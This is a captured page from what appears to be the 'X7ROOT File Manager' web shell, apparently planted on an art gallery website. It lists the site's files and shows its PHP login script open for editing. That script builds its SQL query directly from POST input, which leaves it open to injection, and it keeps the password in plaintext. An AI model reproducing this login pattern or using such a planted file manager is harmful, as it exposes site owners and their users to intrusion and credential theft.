X7ROOT File Manager
Current Path:
/home/u408670528/domains/vittoriabeltrame.com/public_html
home
/
u408670528
/
domains
/
vittoriabeltrame.com
/
public_html
/
π
..
π
.htaccess
(0 B)
π
AFT.php
(6.02 KB)
π
about.php
(7.46 KB)
π
admin
π
artforthought.php
(21.25 KB)
π
artist.php
(5.8 KB)
π
artists.php
(3.46 KB)
π
assets
π
backend.php
(4.67 KB)
π
default.php
(15.99 KB)
π
exhibition.php
(6.42 KB)
π
exhibitions.php
(48.79 KB)
π
google86e18cc05e62c1fd.html
(53 B)
π
includes
π
index.php
(10.02 KB)
π
login.php
(676 B)
π
press.php
(40.65 KB)
π
privacy_policy.php
(26.05 KB)
π
readme.html
(199 B)
Editing: login.php
<?php session_start(); include("includes/conexiones.php"); $user=$_POST["cuser"]; $pass=$_POST["cpsw"]; $_SESSION["clave"]=$pass; // $pass=md5($pass); $sql="SELECT * FROM users WHERE (user='$user') AND (password='$pass')"; $resultado=mysqli_query($con,$sql); //echo "$user, $pass"; if(mysqli_num_rows($resultado)){ $fila=mysqli_fetch_array($resultado); $_SESSION["usuario"]=$fila["user"]; $_SESSION["idusuario"]=$fila["id"]; $_SESSION["validado"]="ok"; header("Location:admin/index.php"); }else{ header("Location:backend.php?ventrada=no"); } ?> <!-- Fila 5 > GUARDO EN LA NUBE LA CONTRASEΓA ANTES DE ENCRIPTARLA Fila 6 > ESTO ES PARA ENCRIPTAR echo "$user, $pass"; -->
Upload File
Create Folder